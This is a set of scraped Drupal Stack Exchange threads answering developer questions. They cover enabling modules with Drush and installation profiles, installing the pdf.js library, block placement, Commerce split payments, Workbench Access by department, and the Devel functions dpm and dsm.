It sounds like you want to do distributed work and "share" enabling modules and other configuration values ... somehow.

If you think about it -- even Drupal "core" and Drupal.org don't do this. Code is submitted to Core and community modules which run in a Continuous Build Process. Drupal.org and many projects use Jenkins.

For an installation of Jenkins geared towards Drupal development, it also uses Phing, see this git repo: http://reload.github.io/jenkins-drupal-template/

Using Jenkins, you can push code to your master Git repo and have the site built for a demo site from your Installation Profile and Drush Makefile(s). This doesn't solve your problem exactly but does provide 1 location you all push change(s) to add/enable/delete modules and hopefully you all don't "break the build".

Assuming the build isn't broken -- it's safe to pull its changes into your local development system.

Jenkins + a Staging or Development server is only 1 piece of development.

Your local workflow can use installation profiles + makefiles. Consider sharing content using custom modules with Migrate if you can afford the content generation time. Examples of sharing content with developers using Migrate, and Phing usage can be read up on here:

http://marzeelabs.org/blog/2014/03/17/coding-as-a-team-content-fixtures/ http://marzeelabs.org/blog/2014/03/03/coding-as-a-team-automation-using-phing/

Lastly see this PDF on a session from Drupal Camp Ohio 2014 on continuous integration and working with your team:

# Answer
> 1 votes
For the same purpose we are using Master. It uses the settings.php to provide information about what the master modules are. With a simple command `drush master-execute` all modules (and their dependencies) that are missing are enabled and modules that are not used anymore are disabled.

Currently the module does not read information from the makefile, but maybe that could be an option for a new release.

# Answer
> 0 votes
You could enable the modules either manually by going through **Modules** option or by terminal using drush command

```
drush en -y modulename1 modulename2

```

and so on.

# Answer
> 0 votes
Modules can be enabled in 2 ways:

1. either from terminal using **drush** command by:
A. `drush dl modulename` \- for downloading the module firstly
B. `drush en -y modulename` \- for enabling the module
2. By using the **Module** menu option and then enabling module from the number of modules being displayed.

# Answer
> 0 votes
I want to some this that be sure. The make function is used for download the different parts of the site: module, themes and project via git. When you write down your installation profile you are writing in the info file the depended modules. The problem is when you need to add new module for your installation profile for existing profile - am i correct?

For that you need to use the hook\_update\_N when the N stand for the number update. The hook is used for module that need to do actions such as: updating schemes, adding variables and used for sites and distirbution, such as OpenScholar, for enable new downloaded modules on live site.

You probably need to add this in the most generic module and the function will look like this https://github.com/openscholar/openscholar/blob/SCHOLAR-3.x/openscholar/modules/os/os.install#L16

The hook need to be located in the module.install file. If you using the UI you need to go to www.site.com/update.php and if you using drush just use the command drush updb.

# Answer
> 0 votes
As I understand, Drush .make file only downloads projects from drupal.org, if you want to enable some modules, can do with an installation profile\**(.install)\**. An installation profile gives you options, what modules you want to enable at the time of installation.

Recently I have also contributed one distribution with the help of .make file. Even I shared the whole experience of .make here. I know this is not related to what exactly you are asking but it can help you understand what exactly .make file does.

So from this whole task, what I understand, using .make file you can not automate module enabling. To do this you need to follow some other approach.

I hope this forum URL can help you. Drupal automation with Bash scripting and Drush.

You need to write some bash script where exactly you will use Drush commands.

```
drush en -y modulename

```

# Answer
> -1 votes
How about using a Drush Make file in conjunction with a Drupal Installation Profile? see: https://drupal.org/node/1022020

---
Tags: installation, version-control, drush
---


# Question
Title: pdf.js unable to locate libraries in Drupal 7
I followed the installation instructions that was located in both the module that you download from the modules section in Drupal as well as also downloaded the precompiled pdf.js and pdfworker.js files from the PDF.JS information page hosted by drupal.

However despite my efforts I am unable to get the modules page of Drupal to see the librarie for pdf.js

I have tried to alter the pdf.module by change the build/pdf.js lines of code to libraries/pdf.js/build/pdf.js as suggested in IRC chat but this didn't do the trick as well.

I was last looking at the simlink solution offered but noticed that there was a additional folder of external? And not sure since that post was 2 years old and wondered if it was still a valid solution. See reference -\> https://drupal.stackexchange.com/questions/65768/pdf-js-installation-in-drupal-7

Running a windows environment with drupal 7

Not sure what else to do suggestions would be grand.

# Answer
> 0 votes
Apparently because of my relatively new start in drupal the missing libraries was a requirement module that I was overlooking and instead thought that it could see the libraries section in the file tree.

My Bad

# Answer
> 0 votes
**Step1**: Download from here: https://github.com/mozilla/pdf.js

**Step2**: Download Windows installer: http://nodejs.org/download

**Step3**: Download & Install: https://www.drupal.org/project/pdf

**Step4**: Add the install folder of nodejs, to your PATH variable, so you can call 'node' command from command line

**Step5**: Through command line, goto /sites/all/libraries/pdf.js. Type 'node make generic'

**Note**: Make sure that in your library folder you have the pdf.js folder named exactly to "pdf.js". Then inside of that extract the pdf.js files. It should look like this.

---
Tags: files, theming
---


title: Can't add block in a region

text:
# Question
Title: Can't add block in a region
I'm using a Drupal 7 version website and I'm trying to add a block to a region, when I go in blocks and try to add the block to the region and I do save it reply me that it has been saved but no block is been placed in that region. I'm using omega 4 theme module.
Anyone knows on how I can solve this issue ?

Many thanks to all.

# Answer
I had a similar issue. But I had Bean and Bean-all module installed, so only in the blocks ticked in admin/config/system/bean-all the move/edit actions were "real" or commited, although success message was showed in the non-ticked ones.
> 1 votes

---
Tags: blocks, theming
---


# Question
Title: Drupal Commerce: Can I split payment over multiple credit cards?
I need to enable my customers to be able to split payments over multiple credit cards. Is it possible with Commerce, and where can I find documentation to that end?

# Answer
# No

It is not possible now. It was requested, and it is **Closed (won't fix)** \- if you want it, you need to code it yourself.

> This isn't something Commerce can do out of the box, and I'm not entirely sure it would fit in. However, in a contributed module, you should be able to look at the order balance before moving forward to the checkout completion page and requesting additional payment from the customer if necessary. For now, I'm just going to have to mark this "won't fix" as no easy ideas come to mind for how we could make this abstract enough to solve in core. The main problem in core would be how you visualize the outstanding balance and accommodate both on-site and off-site payment methods.
> 4 votes

---
Tags: 7, commerce
---


title: Drupal workbench for each department

text:
# Question
Title: Drupal workbench for each department
I'm new to drupal and would like to build a workflow with the below functionality.

I'm able to create extra states through workbench module.

But the above workflow needs to be applied for each department in the company. ex:- Library services, Finance, Tourism. Therefore each department has different content authors and department managers, but the Marketing team will be the same for the entire company.

I'm guessing there should be a way to specify the department from a dropdown menu or something (with the help of taxonomy) so that when a new node is created from a specific content type, the content creator can specify the department which it should be forwarded to.

Can anyone please tell me how I should create this through workbench?

Thanks in advance!

# Answer
You use Workbench Access and a Roles per department and 1 Marketing Role to make this happen.

> Workbench Access creates editorial access controls based on hierarchies. It is an extensible system that supports structures created by other Drupal modules.
>
> When creating and editing content, users will be asked to place the content in an editorial section. Other users within that section or its parents will be able to edit the content. A user may be granted editorial rights to a section specific to his account or by his assigned role on the site.

So you place Finance Editors (a role) users in the finance `section`, and Finance Manager(s) in the finance `section`. And the Marketing role is assigned to the root level section (which implies all subsections -- and secretly adds that role to each section).

So prior to using the site you would have to assign each user into sections of the site, which Workbench has an Administration page for.

Workbench Access provides 2 means to define `sections` out of the box. A section can be a menu path, or Taxonomy terms. Additionally you can create your own section logic using the supplied API functions of the workbench suite.

Be aware that Workbench only works on `Node` based content (unless this has since changed since I last checked). So for instance you cannot create Messages and moderate them, messages are (custom) Entities.

**EDIT:**

I suggest seeing the official linked Documentation of Workbench Access and reading all the info and further 3rd party videos/documentation on that page.
> 2 votes

---
Tags: workflows, workbench
---


# Question
Title: Differences from dpm and dsm for devel module for debugging objects?
What are the differences of dpm and dsm for the devel module? I mainly use dsm for the devel module. What are some other common debugging functions that are useful in the devel module?

# Answer
From the documentation:

> Legacy function that was poorly named.
>
> Use dpm() instead, since the 'p' maps to 'print\_r'.
>
> Code
>
> ```
> function dsm($input, $name = NULL) {
>   return dpm($input, $name);
> }
>
> ```

So there is no real difference, except the function you are using is left there for developers that failed to switch when it was renamed.
> 2 votes

# Answer
dpm() prints a variable to the ‘message’ area of the page using drupal\_set\_message(). The output and compact and less likely to break the layout of your page.

From the devel docs:

> A note from the devel module: dsm() is a legacy function that was poorly named; use dpm() instead, since the 'p' maps to 'print\_r'.

I think we should trust the devel folks on that one.
> 2 votes

---
Tags: debugging
---